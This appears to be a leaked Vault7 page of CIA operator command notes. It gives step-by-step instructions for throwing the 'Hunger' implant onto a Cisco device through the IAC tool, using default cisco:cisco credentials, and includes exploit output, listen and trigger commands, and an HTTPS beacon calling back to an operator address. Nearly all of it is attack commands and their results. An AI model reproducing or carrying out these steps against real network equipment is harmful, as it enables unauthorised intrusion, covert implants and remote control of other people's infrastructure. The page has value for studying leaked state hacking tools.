Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Owner: User #14587667
JQJTHRESHER Command Notes
ICON IP Address: 172.20.12.22
Hun-Grrr Location: /home/ubuntu/ops/aquaman/aquaman-5h/hg
Throw Hunger (ICON)
$ sudo -sH
# cd /home/ubuntu/ops/aquaman/aquaman-5h/attack/linux
# ./sshiac --ip 172.31.255.14:22 --l cisco:cisco password //Install IAC
Output:
LG
EC -125
DH
EC -60EC -159
M# cd ../../remote
Confirm output of target-aliases (see attached file)
# source aliases
[target:172.31.255.14] remote> broad
[target:172.31.255.14] remote> ./seq set 1
[target:172.31.255.14] remote> broad
[target:172.31.255.14] remote> vi target-aliases
Replace the Proc ID value with the Proc ID returned from the broad command
In another window, edit /home/ubuntu/ops/aquaman/aquaman-5h/remote/data/config/npc3/target.py and change the delay value to 0.
[target:172.31.255.14] remote> hg_start
[target:172.31.255.14] remote> yes
Output:
...
0x0452b10c - chunk 514 99%
########## - done
----------------------------------------------------------------------------
Sending sequence -->518<-- command is 40 bytes to procid 0x1722141f
Sending UDP/bounce from port 38911 to port 53
----------------------------------------------------------------------------
GOOD - status OK.
OP: RUNCODE using Per Second
Code address: 0x044add2c
No data
Result: 0x00000001
----------------------------------------------------------------------------NOTE: Memory malloced (address 0x044add24) was not freed automatically
Do NOT free it unless you really know what you are doing----------------------------------------------------------------------------
Sending sequence -->519<-- command is 24 bytes to procid 0x1722141f
Sending UDP/bounce from port 50192 to port 53
----------------------------------------------------------------------------
GOOD - status OK.
OP: DEINSTALL
----------------------------------------------------------------------------You have successfully exploited using IAC!
Listen Window (ICON)
$ sudo -sH
# cd /home/ubuntu/ops/aquaman/aquaman-5h/hg
[target:172.31.255.14] hg> ./cutthroat ilm_hg.so
> ilm listen aquaman-5h.txt
Trigger Window (ICON)
$ sudo -sH
# cd /home/ubuntu/ops/aquaman/aquaman-5h/hg
# ./cutthroat ilm_hg.so
> ilm trigger aquaman-5h.txt
[192.168.21.10]> beacon call_me_back https 443 -ii 192.168.21.10